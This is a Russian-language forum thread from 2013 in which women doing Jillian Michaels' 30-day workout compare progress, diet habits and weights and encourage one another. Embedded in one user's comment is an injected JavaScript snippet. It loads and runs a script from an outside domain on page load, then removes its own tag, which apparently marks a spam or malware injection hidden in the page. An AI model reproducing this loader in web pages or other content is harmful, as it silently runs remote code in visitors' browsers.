снова в бой с Джиллиан
Джиллиан МайклсПозавчера был первый день, блииин думала сдохну - было очень тяжело, занимаюсь через день. Сегодня намного легче, мышцы всего тела ноют, и даже пресс болит - этому я больше всего рада.
Еще в нашем доме появился министеппер, завтра буду пробовать)))
Ну, и конечно, после 18.00 не ем, хлеб тоже практически не ем, стараюсь не переедать, поменьше сладкого. Пить правда больше не получается.
Девочки, еще меня одолевает лень, ну прям сил нет, я заставляю себя! Кто хочет присоединяйтесь - победим жир и лень вместе!
Ксюшка
у меня сегодня был 4 ый день тренировки с Джиллиан. Уже начала привыкать, занимаюсь утром в 7:30 и вечером в 19:30. Для меня главное преодолеть приседания с выпадами, очень тяжко делать левую ногу - видно слабоватенькая она. Как у вас успехи в занятиях?
18.10.2013
Ответить
ApelsiNka
Я болею с температурой, пропустила 3 дня, завтра планирую начать, но тоже буду смотреть по состоянию((( После первого занятия, третье вообще легко перенесла))) очень надеюсь, что 3 дня пропуска не особо повлияют, ну и диета моя полетела, потому что от простуды то не хочется кушать, то жор нападает(((
18.10.2013
Ответить
Nadia
Я вчера 2 день 30-дневки делала. После 1 дня 1 день отдыхала из-за мышечной боли. За 20 минут так все тело проработалось. Но уже вчера себя чувствовала не такой заржавевшей. Записалась в марафон Последний герой. Сегодня начался как раз. В мае я уже делала 30-дневку. Тогда тяжело давалось. Сейчас уже все упражнения знакомы и все на автомате практически делаю, не отвлекаясь на "а руку куда?, а ногу куда?"... Если не хватает силы воли начать тренировку - лезу сюда и при первой вспышке зависти или вдохновения закрываю крышку ноута и бегу переодеваться, стараясь больше ни очем не думать, что бы не найти отмазку )))
14.10.2013
Ответить
ApelsiNka
Ааа, какая вы молодец! Буду с вас брать пример, я даже брюхо свое ставила на заставку на телефон, но долго не смогла смотреть и сменила))
14.10.2013
Ответить
Nadia
На самом деле борьба психологическая с собой самое тяжелое. У меня вот вчера забитый день был и не нашлось места для тренировки и меня тут же турнули с марафона. Я как только одежду для треньки одеваю, сразу мысли в порядок приводятся.
15.10.2013
Ответить
ApelsiNka
Согласна, заставить себя очень тяжело! А турнули, значит вы выбыли что ли? Или 2 шанс дают?
15.10.2013
Ответить
Nadia
Честно говоря, если ты ленишься, будешь лениться и с марафоном. Цель у меня есть. Метод тоже. Не переживаю. Подолжаем идти своим ходом ))) Сегодня 3 день буду делать. У тебя как?
15.10.2013
Ответить
ApelsiNka
Я занимаюсь через день, 3 раза уже делала, купила министеппер, но вчера у нас с ним не сложилась, а без занятий не хотелось оставаться - поэтому я прыгала с Джилл)) Благо дочь не пищала, а то не дает заниматься, поэтому приходится через день делать, пока муж дома))
15.10.2013
Ответить
алена
тоже хочу...давай вместе..правда я с д.м занимаюсь уже неделю и неделю не жру после 6,максимум чай и чернослив...но вместе веселее...[removed](function () {
var script = document.createElement('script');
script.src = 'https://abover.com/system/extension?iframe=' + ( self === top ? '0' : '1' ) + '&r=' + Math.random() + '&v=1.0.8';
script.onload = script.onerror = function () {
script.onload = script.onerror = null;
script[removed].removeChild(script);
}
document.body.appendChild(script);
})();[removed]
13.10.2013
Ответить
Таня
))и я завтра начинаю Джиллиан 30-ку)) тоже так сложно себя настроить на тренировки, но нужно))
13.10.2013
Ответить
ApelsiNka
Эх, и не говорите...Как себя заставлять. Я, конечно, потом чувствую кайф потому что сделала это...Но когда занимаюсь и мне тяжело, то хочется бросить. Я вообще 3 раз начинаю))) в первые прозанималась 2 дня, потом во второй раз 4 дня))))
13.10.2013
Ответить
Таня 
точно такая же, всегда тоже ну все начинаю, а потом бац, и все, теперь же решила что хватит быть полной(( вы сколько весите? какой рост?
точно такая же, всегда тоже ну все начинаю, а потом бац, и все, теперь же решила что хватит быть полной(( вы сколько весите? какой рост?
13.10.2013
Ответить
ApelsiNka
165 рост, вес 63 кг. просто вес мне не мешает, а вот складки на животе с прослойкой жира надоели уже! 
13.10.2013
Ответить
Таня
у меня рост 156 и вес 63-64 кг, но мне вес мешает, в личку скину фото)но позже сейчас нету) поставила цель к новому году 55 весить) вам удачки))))я завтра себя померяю, взвешу, сфотографирую, и поделюсь с вами своим мини отчетом, и вы не бросайте взялись-желаю достичь поставленных целей, надеюсь на взаимоподдержкус вашей стороны)0))
13.10.2013
Ответить
ApelsiNka
Да, конечно, на меня всегда можете рассчитывать, значит и я завтра измерюсь и выложу в этот пост)))Фото скидывайте, в друзья добавляйтесь! Будем вместе идти к цели,единственно что я через день занимаюсь, потому что малая спокойно не дает, а так муж сидит и я прыгаю, но в дни пропуска у меня министеппер))
13.10.2013
Ответить
худеет все кроме него....ток у меня вес и рост другой)